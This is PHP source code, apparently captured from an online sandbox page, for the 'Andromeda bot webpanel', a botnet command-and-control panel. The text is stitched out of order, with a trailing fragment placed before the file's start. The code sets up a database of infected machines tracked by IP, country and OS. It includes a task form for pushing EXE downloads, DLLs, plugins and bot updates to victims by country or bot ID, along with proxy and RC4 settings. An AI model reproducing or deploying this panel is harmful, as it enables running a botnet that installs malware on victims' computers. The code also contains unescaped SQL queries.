($row[1])</font></td></tr>";}$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>","x86/x64 statistic",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT bid,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY bid ORDER BY bid DESC";}else{$query="SELECT bid,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY bid ORDER BY bid DESC";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){$dyn.="<tr><td><font class=\"mt\">".sprintf("%08X",$row[0])."</font></td>";$dyn.="<td align=\"right\"><font class=\"mt\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>","Statistics by Build ID",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);$dyn="<tr><td class=\"me\"><div id=\"cstat\" style=\"display:none;\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT cnum,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY cnum ORDER BY cnum";}else{$query="SELECT cnum,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY cnum ORDER BY cnum";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){if($row[1]){$dyn.="<tr><td><font style=\"font-family:tahoma;font-size:9px;\">".$cname[$row[0]]."</font></td>";$dyn.="<td align=\"right\"><font style=\"font-family:tahoma;font-size:9px;\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}}$dyn.="</table></div></td></tr>";$left_menu.="<script>function showCStat(){if(document.getElementById('cstat').style.display=='inline'){document.getElementById('cstat').style.display='none';}else{document.getElementById('cstat').style.display='inline';}return true;}</script><table width=100% cellspacing=0 style=\"margin-top:10px;\"><tr><td style=\"border:1px solid black;background-color:grey;\"><font class=\"mht\"><img src=\"data:image/gif;base64,R0lGODdhDgAOAIAAAAAAAP///ywAAAAADgAOAAACIISPGcu95mKAjTL7gMNTV3+BWYiEH8alotSxn0smMlAAADs=\" onclick=\"showCStat();\" style=\"padding-left:2px;padding-right:2px;padding-top:2px;\">Statistics by country</font></td></tr>$dyn</table>";$limit=isset($_POST['limit'])?(float)$_POST['limit']:30;$nat=$_POST["nat"]=="on"?"checked":"";$status=$_POST["status"]=="on"?"checked":"";$s1=""; $s2=""; $s3=""; $s4=""; $s5=""; $s6=""; $s7="";switch($_POST["orderby"]){case 1: $orderby="ldate DESC"; $s1="selected"; break;case 2: $orderby="idate DESC"; $s2="selected"; break;case 3: $orderby="cnum"; $s3="selected"; break;case 4: $orderby="ltask DESC"; $s4="selected"; break;case 5: $orderby="bot_version DESC"; $s5="selected"; break;case 6: $orderby="os_version DESC"; $s6="selected"; break;case 7: $orderby="bid DESC"; $s7="selected"; break;default: $orderby="ldate DESC"; $s1="selected"; break;}$where="";if($_POST["nat"]=="on"){$where.=" AND nat=0";}if($_POST["status"]=="on"){$where.=" AND $timestamp-ldate<=$online_limit";}$search_botid=$_POST["search_botid"];$search_botip=$_POST["search_botip"];if(!empty($search_botip)){$limit=1;if($search_botip_=(float)ip2long($_POST["search_botip"])){$where.=" AND bots.ip=$search_botip_";}}if(!empty($search_botid)){$limit=1;if($search_botid_=(float)hexdec($_POST["search_botid"])){$where.=" AND bots.id=$search_botid_";}}$content.="<table cellspacing=0 width=100%><tr><td width=280>";$dyn="<FORM method=\"post\" action=\"?act=bots&blacklist=$blacklist\">";$dyn.="<table cellspacing=0 width=100% height=115px>";$dyn.="<tr><td width=80px align=\"right\" style=\"padding-right:10px\"><font>Status:</font></td>";$dyn.="<td><input type=\"checkbox\" name=\"status\" $status/><font>Online</font></td></tr>";$dyn.="<tr><td align=\"right\" style=\"padding-right:10px\"><font>NAT:</font></td>";$dyn.="<td><input type=\"checkbox\" name=\"nat\" $nat/><font>Only real IP's</font></td></tr>";$dyn.="<tr><td align=\"right\" style=\"padding-right:10px\"><font>Records limit:</font></td>";$dyn.="<td><input type=\"text\" name=\"limit\" value=\"$limit\" style=\"width:140px;\"></td></tr>";$dyn.="<tr><td align=\"right\" style=\"padding-right:10px\"><font>Sort by:</font></td>";$dyn.="<td><select name=\"orderby\" style=\"width:140px;\">";$dyn.="<option value=\"1\" $s1>Last response</option>";$dyn.="<option value=\"2\" $s2>Install date</option>";$dyn.="<option value=\"3\" $s3>Country</option>";$dyn.="<option value=\"4\" $s4>Last task</option>";$dyn.="<option value=\"5\" $s5>Bot version</option>";$dyn.="<option value=\"6\" $s6>OS version</option>";$dyn.="<option value=\"7\" $s7>Build ID</option></select></td></tr>";$dyn.="<tr><td></td><td><input type=\"submit\" class=\"i_submit\" value=\"Apply\"></td></tr></table></FORM>";$content.=str_replace("<php:caption>","Filter",WINDOW);$content=str_replace("<php:width>",270,$content);$content=str_replace("<php:content>",$dyn,$content);$content.="</td><td valign=\"top\">";$dyn="<FORM method=\"post\" action=\"?act=bots&blacklist=$blacklist\">";$dyn.="<table cellspacing=0 width=100% height=115px>";$dyn.="<
Process exited with code 137.
Output for 5.4.32, 5.4.37, 5.4.39 - 5.4.41, 5.4.43, 5.5.20, 5.5.22, 5.5.24, 5.5.27 - 5.5.28, 5.5.31 - 5.5.33, 5.5.35, 5.6.8, 5.6.11 - 5.6.13, 5.6.20 - 5.6.22, 5.6.24, 5.6.26, 5.6.29, 5.6.37, 7.0.0, 7.0.6 - 7.0.7, 7.0.9 - 7.0.11, 7.0.17, 7.0.19 - 7.0.20, 7.0.22, 7.0.24 - 7.0.25, 7.0.29, 7.1.0, 7.1.6, 7.1.9, 7.1.12, 7.1.15, 7.1.17, 7.1.21
?><?php function return404(){header("HTTP/1.0 404 Not Found");header("Status: 404 Not Found");die();}function microtime_float(){list($usec, $sec) = explode(" ", microtime());return ((float)$usec + (float)$sec);}$start_time=microtime_float();include("./config.php");@ini_set("magic_quotes_gpc","Off");if(isset($_GET['public'])&&isset($_GET['hash'])){$tid=(float)$_GET['public'];if(!@mysql_connect($settings['mysql_host'],$settings['mysql_user'],$settings['mysql_pass'])){return404();}if(!@mysql_select_db($settings['mysql_db'])){return404();}$qres=@mysql_query("SELECT * FROM tasks WHERE id=$tid AND public=1 LIMIT 1");if(mysql_num_rows($qres)==1){$row=@mysql_fetch_assoc($qres);if(md5("_".$row['parameter'])!=$_GET['hash']){return404();}$enabled=$row['enabled']==1?"True":"False";$percent=$row['downmax']!=0xFFFFFFFF?" (".round(100/$row['downmax']*$row['executed'],1)."% complited)":"";$row['downmax']=$row['downmax']==0xFFFFFFFF?"unlim":(float)$row['downmax'];die("<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=windows-1251\"><style>body{background-color:#EEEEEE}font{font-family:verdana;font-size:13px;}.mh{border:1px solid black;background-color:grey;padding-left:10px;}.mht{font-family:verdana;font-size:13px;font-weight:bold;}.me{border:1px solid black;border-top:0px;background-color:lightgray;padding-left:5px;padding-right:5px;}</style></head><body><table width=100% height=100%><tr><td></td><td width=600px><table width=100% cellspacing=0><tr><td class=\"mh\"><font class=\"mht\">Public statistic of task #$row[id]</font></td></tr><tr><td class=\"me\"><table cellspacing=0 width=100% style=\"padding-top:10px;padding-bottom:10px;\"><tr><td width=160 align=\"right\" style=\"padding-right:10px\"><font>Enabled:</font></td><td><font>$enabled</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>URL:</font></td><td><font>$row[parameter]</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Executed/Failure/Limit:</font></td><td><font>$row[executed]/$row[failure]/$row[downmax]$percent</font></td></tr></table></td></tr></table></td><td></td></tr></table></body></html>");}else{return404();}}elseif(md5($_SERVER['PHP_AUTH_USER'].";".$_SERVER['PHP_AUTH_PW'])!=$settings['login']){header('WWW-Authenticate: Basic');header('HTTP/1.0 401 Unauthorized');header('status: 401 Unauthorized');exit();}$ccode=array("XX","AF","AX","AL","DZ","AS","AD","AO","AI","A1","AQ","AG","AR","AM","AW","AP","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CD","CG","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","EU","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KP","KR","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PL","PT","PR","QA","RE","RO","RU","RW","SH","KN","LC","PM","VC","WS","SM","ST","A2","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW");$cname=array("Unknown","Afghanistan","Aland Islands","Albania","Algeria","American Samoa","Andorra","Angola","Anguilla","Anonymous Proxy","Antarctica","Antigua and Barbuda","Argentina","Armenia","Aruba","Asia/Pacific Region","Australia","Austria","Azerbaijan","Bahamas","Bahrain","Bangladesh","Barbados","Belarus","Belgium","Belize","Benin","Bermuda","Bhutan","Bolivia","Bosnia and Herzegovina","Botswana","Bouvet Island","Brazil","British Indian Ocean Territory","Brunei Darussalam","Bulgaria","Burkina Faso","Burundi","Cambodia","Cameroon","Canada","Cape Verde","Cayman Islands","Central African Republic","Chad","Chile","China","Christmas Island","Cocos (Keeling) Islands","Colombia","Comoros","Congo","Congo","Cook Islands","Costa Rica","Cote D'Ivoire","Croatia","Cuba","Cyprus","Czech Republic","Denmark","Djibouti","Dominica","Dominican Republic","Ecuador","Egypt","El Salvador","Equatorial Guinea","Eritrea","Estonia","Ethiopia","Europe","Falkland Islands (Malvinas)","Faroe Islands","Fiji","Finland","France","French Guiana","French Polynesia","French Southern Territories","Gabon","Gambia","Georgia","Germany","Ghana","Gibraltar","Greece","Greenland","Grenada","Guadeloupe","Guam","Guatemala","Guernsey","Guinea","Guinea-Bissau","Guyana","Haiti","Holy See (Vatican City State)","Honduras","Hong Kong","Hungary","Iceland","India","Indonesia","Iran","Iraq","Ireland","Isle of Man","Israel","Italy","Jamaica","Japan","Jersey","Jordan","Kazakhstan","Kenya","Kiribati","Korea","Korea","Kuwait","Kyrgyzstan","Lao People's Democratic Republic","Latvia","Lebanon","Lesotho","Liberia","Libyan Arab Jamahiriya","Liechtenstein","Lithuania","Luxembourg","Macau","Macedonia","Madagascar","Malawi","Malaysia","Maldives","Mali","Malta","Marshall Islands","Martinique","Mauritania","Mauritius","Mayotte","Mexico","Micronesia","Moldova","Monaco","Mongolia","Montenegro","Montserrat","Morocco","Mozambique","Myanmar","Namibia","Nauru","Nepal","Netherlands","Netherlands Antilles","New Caledonia","New Zealand","Nicaragua","Niger","Nigeria","Niue","Norfolk Island","Northern Mariana Islands","Norway","Oman","Pakistan","Palau","Palestinian Territory","Panama","Papua New Guinea","Paraguay","Peru","Philippines","Poland","Portugal","Puerto Rico","Qatar","Reunion","Romania","Russian Federation","Rwanda","Saint Helena","Saint Kitts and Nevis","Saint Lucia","Saint Pierre and Miquelon","Saint Vincent and the Grenadines","Samoa","San Marino","Sao Tome and Principe","Satellite Provider","Saudi Arabia","Senegal","Serbia","Seychelles","Sierra Leone","Singapore","Slovakia","Slovenia","Solomon Islands","Somalia","South Africa","South Georgia and the South Sandwich Islands","Spain","Sri Lanka","Sudan","Suriname","Svalbard and Jan Mayen","Swaziland","Sweden","Switzerland","Syrian Arab Republic","Taiwan","Tajikistan","Tanzania","Thailand","Timor-Leste","Togo","Tokelau","Tonga","Trinidad and Tobago","Tunisia","Turkey","Turkmenistan","Turks and Caicos Islands","Tuvalu","Uganda","Ukraine","United Arab Emirates","United Kingdom","United States","United States Minor Outlying Islands","Uruguay","Uzbekistan","Vanuatu","Venezuela","Vietnam","Virgin Islands","Virgin Islands","Wallis and Futuna","Western Sahara","Yemen","Zambia","Zimbabwe");define("MAIN_PAGE","<html><head><meta http-equiv=\"Content-Type\" Content=\"text/html;charset=windows-1251\"><title>Andromeda bot webpanel</title><link rel=stylesheet href=\"style.css\" type=\"text/css\"><link rel=stylesheet href=\"back.css\" type=\"text/css\"></head><body><table align=\"center\" width=100% cellspacing=0 height=100%><tr><td width=200px valign=\"top\"><table align=\"center\" width=100% cellspacing=0><tr><td class=\"mh\"><font class=\"mht\">Menu</font></td></tr><tr><td class=\"me\" style=\"<php:mbs>\"><a class=\"mt\" href=\"?act=bots&blacklist=0\">Bots</a></td></tr><tr><td class=\"me\" style=\"<php:mbls>\"><a class=\"mt\" href=\"?act=bots&blacklist=1\">Black list</a></td></tr><tr><td class=\"me\" style=\"<php:mts>\"><a class=\"mt\" href=\"?act=tasks\">Tasks</a></td></tr><tr><td class=\"me\" style=\"<php:mss>\"><a class=\"mt\" href=\"?act=service\">Service</a></td></tr></table><php:left_menu></td><td valign=\"top\" style=\"padding-left:10px\"><php:content></td></tr><tr><td></td><td align=\"right\" valign=\"bottom\"><font style=\"font-weight:700;color:333333\">Andromeda bot webpanel v06 (c) 2012<php:time></font></td></tr></table></body></html>");define("MENU","<table width=100% cellspacing=0 style=\"margin-top:10px;\"><tr><td class=\"mh\"><font class=\"mht\"><php:caption></font></td></tr><php:content></table>");define("BOTS_TABLE","<form id=\"bids_form\" method=\"post\"><input type=\"hidden\" name=\"bids\" id=\"bids\"/><table cellspacing=0 width=100% style=\"padding-top:10px\"><tr><th width=85px class=\"th\"><font>Bot ID</font></th><th width=80px class=\"th\"><font>Build ID</font></th><th class=\"th\"><font>IP address</font></th><th class=\"th\"><font>Country</font></th><th class=\"th\"><font>Install date</font></th><th class=\"th\"><font>Last response</font></th><th width=60px class=\"th\"><font>Task</font></th><th width=60px class=\"th\"><font>Bot ver.</font></th><th width=100px class=\"th\"><font>OS version</font></th><th width=60px class=\"thl\"><font>Status</font></th></tr><php:rows></table></form>");define("WINDOW","<table width=<php:width> align=\"left\" cellspacing=0><tr><td class=\"mh\"><font class=\"mht\"><php:caption></font></td></tr><tr><td class=\"me\"><php:content></td></tr></table>");define("TASK_FORM","<script>function upd(){var options=document.getElementById('cselect').options;var field=document.getElementById('cfield');if(options[0].selected){field.value='*'; return true;}first=true;field.value='';for (i=0; i<options.length; i++){if(options[i].selected==true){if(first==true){field.value=options[i].value; first=false;}else{field.value=field.value+','+options[i].value;}}}return true;}function showList(){var arr=document.getElementById('cfield').value.split(',');var options=document.getElementById('cselect').options;for (i=0; i<arr.length; i++){for (j=0; j<options.length; j++){if(options[j].value==arr[i]){options[j].selected=true;break;}}}document.getElementById('hidden').style.display='inline';return true;}</script><FORM method=\"post\" action=\"?act=tasks&subact=<php:subact><php:id>\"><table cellspacing=0 width=100%><tr><td width=130px align=\"right\" style=\"padding-right:10px\"><font>Task type:</font></td><td><select name=\"command\" style=\"width:110px;\"><option value=\"1\"<php:s1>>Download EXE</option><option value=\"4\"<php:s4>>Install DLL</option><option value=\"2\"<php:s2>>Install plugin</option><option value=\"3\"<php:s3>>Update bot</option><option value=\"5\"<php:s5>>Delete DLLs</option><option value=\"6\"<php:s6>>Delete plugins</option><option value=\"9\"<php:s9>>Kill bot</option></select><input type=\"checkbox\" name=\"enabled\" <php:enabled> /><font>Enabled</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Limit (0=not limited):</font></td><td><input type=\"text\" style=\"width:110px;\" name=\"downmax\" value=\"<php:downmax>\"/></td></tr><tr><td align=\"right\" valign=\"top\" style=\"padding-right:10px\"><font>Countries:</font></td><td><input id=\"cfield\" type=\"text\" style=\"width:530px;\" name=\"countries\" value=\"<php:countries>\" onfocus='showList()'/><br><div id=\"hidden\" style=\"display:none;\"><select id=\"cselect\" size=10 onchange='upd()' style=\"width:530px; margin-bottom:5px\" multiple><php:countrylist></select><br><font style=\"font-size:9px;\">* hold Ctrl button for multiple select</font></div></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Bot ID's:</font></td><td><input type=\"text\" maxlength=255 style=\"width:530px;\" name=\"botid\" value=\"<php:botid>\"/></td></tr><tr><td></td><td><font style=\"font-size:9px;\">Sample: \"*\", \"1234ABCD\" or multiple \"1234ABCD,ABCD1234,AB1234CD\"</font></td></tr><tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Build ID's:</font></td><td><input type=\"text\" maxlength=255 style=\"width:530px;\" name=\"buildid\" value=\"<php:buildid>\"/></td></tr><tr><td></td><td><font style=\"font-size:9px;\">Sample: \"*\", \"1234ABCD\" or multiple \"1234ABCD,ABCD1234,AB1234CD\"</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>URL:</font></td><td><input type=\"text\" maxlength=255 style=\"width:530px;\" name=\"parameter\" value=\"<php:parameter>\"/></td></tr><tr><td></td><td><input type=\"checkbox\" name=\"public\" <php:public> /><font>Public task</font></td></tr><tr><td></td><td><input type=\"submit\" class=\"i_submit\" value=\"<php:submit>\"/></td></tr></table></FORM>");function SaveSettings($settings){global $content;if(!$cfg=fopen("./config.php","w")){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Can't open \"config.php\" for writing.</font></div>"; return false;}fwrite($cfg,"<?php // !!! don't edit this file, just open http://yourdomain.com/?act=install\r\n");fwrite($cfg,"\$settings=array();\r\n");fwrite($cfg,"\$settings['mysql_host']=\"$settings[mysql_host]\";\r\n");fwrite($cfg,"\$settings['mysql_user']=\"$settings[mysql_user]\";\r\n");fwrite($cfg,"\$settings['mysql_pass']=\"$settings[mysql_pass]\";\r\n");fwrite($cfg,"\$settings['mysql_db']=\"$settings[mysql_db]\";\r\n");fwrite($cfg,"\$settings['login']=\"$settings[login]\";\r\n");fwrite($cfg,"\$settings['rc4key']=\"$settings[rc4key]\";\r\n");fwrite($cfg,"\$settings['reqrate']=$settings[reqrate];\r\n");fwrite($cfg,"\$settings['dead_limit']=$settings[dead_limit];\r\n");fwrite($cfg,"\$settings['accept_new_installs']=$settings[accept_new_installs];\r\n");fwrite($cfg,"?>");fclose($cfg);return true;}$act=isset($_GET['act'])?$_GET['act']:"bots";$subact=isset($_GET['subact'])?$_GET['subact']:"";$id=(float)($_GET['id']);$dead_limit=$settings['dead_limit']*60*60*24;$online_limit=$settings['reqrate']*60+60;$timestamp=time();$content="";$left_menu="";$dyn="";$dir=opendir("./plugins");while($plugname=readdir($dir)){if($plugname=="." || $plugname==".." || !is_dir("./plugins/".$plugname)){continue;}include("./plugins/$plugname/link.php");$dyn.="<tr><td class=\"me\"><a class=\"mt\" href=\"?act=$plugact\">$plugname</a></td></tr>";}if(!empty($dyn)){$left_menu=str_replace("<php:caption>","Plugins",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);}if($act=="install"){$settings['mysql_host']=(!empty($_POST["mysql_host"]))?$_POST["mysql_host"]:"localhost";$settings['mysql_user']=(!empty($_POST["mysql_user"]))?$_POST["mysql_user"]:"root";$settings['mysql_pass']=(!empty($_POST["mysql_pass"]))?$_POST["mysql_pass"]:"";$settings['mysql_db']=(!empty($_POST["mysql_db"]))?$_POST["mysql_db"]:"";$settings['rc4key']=(!empty($_POST["rc4key"]))?$_POST["rc4key"]:"";if(isset($_POST['login']) and isset($_POST['pass1'])){$time=time();echo "<pre style=\"font-family:Lucida Console; font-size:11px;\">connecting to mysql...\r\n\r\n";mysql_connect($settings['mysql_host'],$settings['mysql_user'],$settings['mysql_pass']) or die(mysql_error());mysql_query("CREATE DATABASE IF NOT EXISTS $settings[mysql_db]") or die(mysql_error());echo "selecting database \"$settings[mysql_db]\"...\r\n\r\n";mysql_select_db($settings['mysql_db']) or die(mysql_error());if($_POST['dropold']=="on"){mysql_query("DROP TABLE IF EXISTS bots");mysql_query("DROP TABLE IF EXISTS tasks");mysql_query("DROP TABLE IF EXISTS blacklist");mysql_query("DROP TABLE IF EXISTS socks4");}echo "creating tables...\r\n\r\n";mysql_query("CREATE TABLE IF NOT EXISTS bots (id INT UNSIGNED NOT NULL PRIMARY KEY, bid INT UNSIGNED NOT NULL, ip INT UNSIGNED NOT NULL, admin TINYINT UNSIGNED NOT NULL, x64 TINYINT UNSIGNED NOT NULL, nat TINYINT UNSIGNED NOT NULL, cnum TINYINT UNSIGNED NOT NULL, idate INT UNSIGNED NOT NULL, ldate INT UNSIGNED NOT NULL, ltask INT UNSIGNED NOT NULL, bot_version SMALLINT UNSIGNED NOT NULL, os_version SMALLINT UNSIGNED NOT NULL)") or die(mysql_error());mysql_query("CREATE TABLE IF NOT EXISTS blacklist (id INT UNSIGNED NOT NULL PRIMARY KEY)") or die(mysql_error());mysql_query("CREATE TABLE IF NOT EXISTS tasks (id INT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT, command TINYINT UNSIGNED NOT NULL, parameter VARCHAR(255) NOT NULL, enabled TINYINT UNSIGNED NOT NULL, public TINYINT UNSIGNED NOT NULL, executed INT UNSIGNED NOT NULL, failure INT UNSIGNED NOT NULL, downmax INT UNSIGNED NOT NULL, countries TEXT NOT NULL, botid TEXT NOT NULL, buildid TEXT NOT NULL)") or die(mysql_error());mysql_query("CREATE TABLE IF NOT EXISTS socks4 (id INT UNSIGNED NOT NULL PRIMARY KEY, port SMALLINT UNSIGNED NOT NULL)") or die(mysql_error());echo "writing config...\r\n\r\n";$settings['reqrate']=9;$settings['dead_limit']=7;$settings['accept_new_instals']=1;$settings['login']=md5($_POST['login'].";".$_POST['pass1']);if(!SaveSettings($settings)){die("ERROR: cannot write config.");}echo "importing GeoIP to database...\r\n\r\n";mysql_query("DROP TABLE IF EXISTS geoip_all");mysql_query("CREATE TABLE geoip_all (ip_start CHAR(15) NOT NULL, ip_end CHAR(15) NOT NULL, iplong_start INT UNSIGNED NOT NULL, iplong_end INT UNSIGNED NOT NULL, cc CHAR(2) NOT NULL, cname CHAR (50) NOT NULL)") or die(mysql_error());if(!$gz=gzopen("./GeoIPCountryWhois.csv.gz","r")){die("GeoIPCountryWhois.csv.gz open failed.");}$flag=true;while($flag){$line=rtrim(gzgets($gz,4096),"\n");$row=explode(",",str_replace("\"","",$line));$query="INSERT INTO geoip_all VALUES ('$row[0]','$row[1]',$row[2],$row[3],'$row[4]','".mysql_escape_string($row[5])."')";for($i=0;$i<100;$i++){if($line=rtrim(gzgets($gz,4096),"\n")){$row=explode(",",str_replace("\"","",$line));$query.=",('$row[0]','$row[1]',$row[2],$row[3],'$row[4]','".mysql_escape_string($row[5])."')";}else{$flag=false; break;}}$query.=";";mysql_query($query) or die (mysql_error());}gzclose($gz);echo "done, parsing...\r\n\r\n";mysql_query("DROP TABLE IF EXISTS geoip_cc");mysql_query("CREATE TABLE geoip_cc (cnum TINYINT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, cc CHAR(2) NOT NULL, cname CHAR(50) NOT NULL)") or die(mysql_error());mysql_query("INSERT INTO geoip_cc (cc,cname) SELECT DISTINCT cc,cname FROM geoip_all ORDER BY cname") or die(mysql_error());mysql_query("DROP TABLE IF EXISTS geoip");mysql_query("CREATE TABLE geoip (iplong_start INT UNSIGNED NOT NULL, iplong_end INT UNSIGNED NOT NULL, cnum TINYINT UNSIGNED NOT NULL)") or die(mysql_error());mysql_query("INSERT INTO geoip SELECT iplong_start,iplong_end,cnum FROM geoip_all NATURAL JOIN geoip_cc") or die(mysql_error());$f=fopen("./carrays.php","w");$qres=mysql_query("SELECT cc FROM geoip_cc") or die(mysql_error());fwrite($f,"<?php\r\n\$ccode=array(\"XX\"");while($row=mysql_fetch_array($qres)){fwrite($f,",\"$row[0]\"");}fwrite($f,");\r\n\$cname=array(\"Unknown\"");$qres=mysql_query("SELECT cname FROM geoip_cc") or die(mysql_error());while($row=mysql_fetch_array($qres)){fwrite($f,",\"$row[0]\"");}fwrite($f,");\r\n?");fwrite($f,">");fclose($f);mysql_query("DROP TABLE geoip_all");mysql_query("DROP TABLE geoip_cc");die("done! ".sprintf("%u",time()-$time)." sec. elapsed. <a href=\"?act=bots\">Go to panel</a></pre>");}else{die("<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=windows-1251\"><style>input{font-family:verdana;font-size:11px;border:1px solid black;}select{font-family:verdana;font-size:11px;border:1px solid black;}font{font-family:verdana;font-size:11px;}.mh{border:1px solid black; background-color:grey;padding-left:10px;}.mht{font-family:verdana;font-size:13px;font-weight:bold;}.me{border:1px solid black;border-top:0px;background-color:lightgray;padding-left:5px;padding-right:5px;}.i_submit{width:100px;background-color:gray;margin-top:5px;margin-bottom:5px;}</style><title>Installation Andromeda bot webpanel</title><script language=\"JavaScript\">function compare_pass(){if(document.getElementById('pass1').value!=document.getElementById('pass2').value){alert(\"ERROR: Passwords not equal.\");return false;}return true;}</script></head><body><table width=405 cellspacing=0><tr><td class=\"mh\"><font class=\"mht\">Installation Andromeda bot webpanel</font></td></tr><tr><td class=\"me\"><FORM method=\"post\" action=\"?act=install\"><table cellspacing=0 width=100% style=\"padding-top:10px;\"><tr><td width=120 align=\"right\" style=\"padding-right:10px\"><font style=\"font-size:13px;\"><b>Panel</b></font></td><td></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Login:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"login\" value=\"$_POST[login]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Password:</font></td><td><input type=\"password\" style=\"width:250px;\" name=\"pass1\" id=\"pass1\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Confirm password:</font></td><td><input type=\"password\" style=\"width:250px;\" id=\"pass2\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>RC4 key:</font></td><td><input type=\"text\" maxlength=32 style=\"width:250px;\" name=\"rc4key\" value=\"$settings[rc4key]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px; padding-top:10px\"><font style=\"font-size:13px;\"><b>MySQL</b></font></td><td></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Host:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"mysql_host\" value=\"$settings[mysql_host]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Login:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"mysql_user\" value=\"$settings[mysql_user]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Password:</font></td><td><input type=\"password\" style=\"width:250px;\" name=\"mysql_pass\" value=\"$settings[mysql_pass]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Database name:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"mysql_db\" value=\"$settings[mysql_db]\"/></td></tr><tr><td></td><td><input type=\"checkbox\" name=\"dropold\" checked><font>DROP old tables if exists.</font></td></tr><tr><td></td><td><input type=\"submit\" class=\"i_submit\" value=\"Install\" onclick=\"return compare_pass();\"></td></tr></table></FORM></td></tr></table></body></html>");}}if(!@mysql_connect($settings['mysql_host'],$settings['mysql_user'],$settings['mysql_pass'])){die("<p style=\"font-family:Lucida Console; font-size:11px;\">ERROR: mysql login failed. maybe panel not installed? --> <a href=?act=install>Install</a></p>");}if(!@mysql_select_db($settings['mysql_db'])){die("<p style=\"font-family:Lucida Console; font-size:11px;\">ERROR: can't select db '$settings[mysql_db]'. maybe panel not installed? --> <a href=?act=install>Install</a></p>");}$blacklist=$_GET['blacklist']=="1"?1:0;switch($act){case "bots":{switch($subact){case "ban":if(empty($_POST['bids'])){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Bots not selected.</font></div>";break;}$bids=explode(",",$_POST['bids']);for($i=0;$i<count($bids);$i++){mysql_query("INSERT INTO blacklist SET id=0x$bids[$i]") or die(mysql_error());}$content="<div class=\"mess\"><font style=\"font-weight:bold\">".count($bids)." bot(s) added to black list.</font></div>";break;case "del":if(empty($_POST['bids'])){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Bots not selected.</font></div>";break;}$bids=explode(",",$_POST['bids']);for($i=0;$i<count($bids);$i++){mysql_query("DELETE FROM bots WHERE id=0x$bids[$i]") or die(mysql_error()); @mysql_query("DELETE FROM blacklist WHERE id=0x$bids[$i]");}$content="<div class=\"mess\"><font style=\"font-weight:bold\">".count($bids)." bot(s) deleted from database.</font></div>";break;case "unban":if(empty($_POST['bids'])){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Bots not selected.</font></div>";break;}$bids=explode(",",$_POST['bids']);for($i=0;$i<count($bids);$i++){;mysql_query("DELETE FROM blacklist WHERE id=0x$bids[$i]") or die(mysql_error());}$content="<div class=\"mess\"><font style=\"font-weight:bold\">".count($bids)." bot(s) deleted from blacklist.</font></div>";break;case "unbanall":mysql_query("DELETE FROM blacklist") or die(mysql_error());$content="<div class=\"mess\"><font style=\"font-weight:bold\">All bots deleted from blacklist.</font></div>";break;}$total_bots=0; $online_bots=0; $onl_h_bots=0; $onl_d_bots=0; $onl_w_bots=0; 